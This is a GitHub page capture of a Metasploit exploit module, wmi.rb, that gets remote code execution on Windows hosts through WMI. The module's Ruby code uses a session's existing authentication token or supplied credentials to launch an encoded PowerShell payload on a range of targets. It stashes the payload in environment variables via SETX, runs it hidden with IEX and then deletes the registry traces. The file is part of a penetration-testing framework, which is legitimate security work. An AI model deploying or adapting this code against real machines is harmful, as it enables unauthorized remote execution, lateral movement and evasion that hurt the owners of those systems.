-
Notifications
You must be signed in to change notification settings - Fork 14.2k
/
Copy pathwmi.rb
160 lines (140 loc) · 5 KB
/
wmi.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::Powershell
include Msf::Post::Windows::ExtAPI
include Msf::Post::Windows::WMIC
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Management Instrumentation (WMI) Remote Command Execution',
'Description' => %q{
This module executes powershell on the remote host using the current
user credentials or those supplied. Instead of using PSEXEC over TCP
port 445 we use the WMIC command to start a Remote Procedure Call on
TCP port 135 and an ephemeral port. Set ReverseListenerComm to tunnel
traffic through that session.
The result is similar to psexec but with the added benefit of using
the session's current authentication token instead of having to know
a password or hash.
The remote host must be configured to allow remote Windows Management
Instrumentation.
},
'License' => MSF_LICENSE,
'Author' => [
'Ben Campbell'
],
'References' =>
[
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
[ 'OSVDB', '3106'],
[ 'URL', 'http://passing-the-hash.blogspot.co.uk/2013/07/WMIS-PowerSploit-Shells.html' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'WfsDelay' => '15',
},
'DisclosureDate' => '1999-01-01',
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' =>
[
[ 'Automatic', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
],
'DefaultTarget' => 0
))
register_options([
OptAddressRange.new("RHOSTS", [ true, "Target address range or CIDR identifier" ]),
# Move this out of advanced
OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener'])
])
deregister_options("RHOST")
end
def exploit
if datastore['SMBUser'] and datastore['SMBPass'].nil?
fail_with(Failure::BadConfig, "Need both username and password set.")
end
Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |server|
run_host(server)
end
end
def run_host(server)
if session.extapi
psh_options = { :remove_comspec => true,
:encode_final_payload => true }
else
psh_options = { :remove_comspec => true,
:encode_inner_payload => true,
:wrap_double_quotes => true }
end
psh = cmd_psh_payload(payload.encoded,
payload_instance.arch.first,
psh_options)
begin
if session.extapi
exec_cmd = psh
else
# Get the PSH Payload and split it into bitesize chunks
# 1024 appears to be the max value allowed in env vars
print_status("[#{server}] Storing payload in environment variables")
chunks = split_code(psh, 1000)
env_name = rand_text_alpha(rand(3)+3)
env_vars = []
0.upto(chunks.length-1) do |i|
env_vars << "#{env_name}#{i}"
c = "cmd /c SETX #{env_vars[i]} \"#{chunks[i]}\" /m"
result = wmic_command(c, server)
unless result
print_error("[#{server}] WMIC command error - skipping host")
return false
end
end
x = rand_text_alpha(rand(3)+3)
exec_cmd = generate_psh_command_line({
:noprofile => true,
:windowstyle => 'hidden',
:command => "$#{x}=''"
})
env_vars.each do |env|
exec_cmd << "+$env:#{env}"
end
exec_cmd << ";IEX $#{x};"
end
print_status("[#{server}] Executing payload")
result = wmic_command(exec_cmd, server)
if result
if result[:return] == 0
print_good("[#{server}] Process Started PID: #{result[:pid]}")
else
print_error("[#{server}] failed, Return Value: #{result[:return]})")
end
else
print_error("[#{server}] failed...)")
end
unless session.extapi
print_status("[#{server}] Cleaning up environment variables")
env_vars.each do |env|
cleanup_cmd = "cmd /c REG delete \"HKLM\\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /V #{env} /f"
wmic_command(cleanup_cmd, server)
end
end
rescue Rex::Post::Meterpreter::RequestError => e
print_error("[#{server}] Error moving on... #{e}")
return false
ensure
Rex::sleep(2)
end
end
def split_code(psh, chunk_size)
array = []
idx = 0
while (idx < psh.length)
array << psh[idx, chunk_size]
idx += chunk_size
end
return array
end
end